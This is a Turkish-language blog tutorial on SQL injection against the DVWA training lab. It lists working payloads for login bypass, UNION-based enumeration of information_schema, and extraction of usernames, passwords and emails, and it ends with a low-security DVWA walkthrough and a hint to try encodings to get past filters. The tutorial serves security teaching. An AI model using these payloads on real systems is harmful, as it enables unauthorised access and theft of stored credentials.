Sql injection Uygulama | DVWA

Sql injection , sql sorgu dilini kullanarak veritabanı üzerindeki bilgileri görüntüleyebildiğimiz, yeni veriler ekleyebildiğimiz ya da verileri silip değiştirebildiğimiz oldukça tehlikeli bir güvenlik açığıdır.

Bu güvenlik açıklığı sayesinde sistemin veritabanın da kayıtlı eposta, kullanıcı adı, şifre eğer bir e ticaret sitesi ise; kredi kartı bilgileri, kayıtlı telefon numaraları gibi daha birçok bilgileri ele geçirebiliriz.

Sql injection zafiyetinden etkili bir şekilde faydalanmak için iyi derecede sql ve veritabanı bilgisine ihtiyaç vardır çünkü kullanacağımız sql sorgularını anlamak ve veri işlemlerini hatasız bir şekilde gerçekleştirebilmemiz gerekmektedir bu nedenle bu zafiyet üzerinden ezbere işlem yapmamız saldırı tekniklerinde sorunlar yaratabilir.

sql injection görsel

En temel sql komutları

SELECT ve WHERE komutları
SELECT * FROM tablo adı
SELECT * FROM `tabloadı` WHERE adi="isim"
SELECT * FROM `tabloadı` WHERE maas>=4000 AND maas<=5000
SELECT * FROM `tabloadı` WHERE soyadi LIKE ‘%m%'
INSERT, DELETE ve UPDATE komutları
INSERT INTO kullanıcılar (adi, soyadi) VALUES (‘Eyup', ‘Turan’)
INSERT INTO `kullanıcılar` (adi, soyadi, telefon, dogumtarihi) VALUES('Oguzhan','Bulut','0422 444 44 44', '1990-01-15’)
DELETE FROM `tblpersonel` WHERE adi=‘Eyup' AND soyadi=‘Turan’
UPDATE tblpersonel SET adi=‘Eyup', soyadi=‘Turan' WHERE personelID=2
UPDATE `tblpersonel` SET maas=maas*1.1 WHERE
Orta seviye sql veri çekme işlemleri
SELECT TOP 3 * FROM tablename
SELECT id [NO],ad[ADI],soyad AS 'SOYADI' FROM tbKisiler
SELECT ad+' '+soyad FROM tbKisiler
Web Uygulamalarına Yönelik SQL Sorguları
12345' AND 1=1#=şifremizi bildiğimiz durumlarda sql injections açıkları varmı bulmamızı sağlar.
şifremiz' ORDER BY 1#=bir sql açığı olduğunu anlamak için kullanılan test kodudur.
deneme' OR 1=1#=şifresi bilinmeyen bir sql açığının kontrolü yapılır
eyup'#=komutu şifre girmeden login olabilmemize yarayan bir sql açığıdır.
a' OR 1=1#=OR sorgusunu password kısmında yazarak sql açığı kontrolü yapılır.
eyup' union select (colums tahmini yapılır)#=veritabanından sql injections sorgusu yapmaya yarayan bir sql sorgusudur.
database(), user(), version()=veritabanında union select sorgusu yapmamıza yarayan komutlardır.
eyup' union select 1,2,3,4,5#
eyup' union select 1, table_name,3 (null),4 (null),5 (null), from information_schema.tables#=tablo isimlerini öğrenmemize yarayan sql açığıdır.
eyup' union select 1, column_name,3(null),4(null),5 from information_schema.columns where table_name = ‘table_name’#
eyup' union select 1,username, password, email,5 from users#
Web Uygulamalarında Orta Seviye Sql Sorgusu
0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='marketplace'
0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users
0 union select 1,group_concat(message_content,0x2b,user_to),3,4 from messages
man' union select 1,2,3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()#
eyup' union select 1,database(),user(),version(),5 from information_schema.tables#

***

Öğrendiğimiz Sql Sorgu komutlarını sqliteonline sayfasından deneyerek kendimizi geliştirebiliriz. https://sqliteonline.com/

https://sqliteonline.com/

Şimdi Öğrenmiş olduğumuz bazı sorguları DVWA Makinamız üzerinden deneme yaparak zaafiyeti sömürmeye çalışalım.

Başlamadan önce DVWA güvenlik ayarımızın düşük olduğundan emin olmamız gerekiyor.

Zafiyetimize gelecek olursak SQL İnjection bölümünde User İd istiyor bizden 1 yazıp Submit yaparsak aşağıdaki sorgu çıktı alıyoruz. Biz burda sorgularımızı deniyeceğiz.

Şimdi burda User ID kısmına

2' or 1=1# 

bu sorgu ile sistemdeki tüm kullanıcıların Firsname Surname çıktısını gördük.

Bu sorguyu döndürmesi sistem üzerinden sql zaafiyeti olduğunu göstermiş oluyor. Şimdi burda farklı komutlar farklı yöntemler deneyebiliriz. Bu aşamadan sonra deneme yanılma yöntemiyle sistemdeki güvenlik duvarını bypass etmeye çalışacağız.

'UNION SELECT table_name, NULL FROM information_schema.tables -- 
'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' --  

Artık hem kullanıcı adımızı hem de şifremizi aldığımızı görebiliriz.

Temel anlamda Sql Zaafiyeti belli başlı komutlar ile anlatmaya çalıştım, her komut işe yaramıyabilir bukezde farklı encode teknikleri vs. denenebilir. bu saatten sonra gerisi sizin sabrınıza ve araştırmalarınıza kalmış. Bir sonraki yazıda buluşmak dileğiyle..

www.eyupturan.com

Paylaş :

Leave a Reply

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir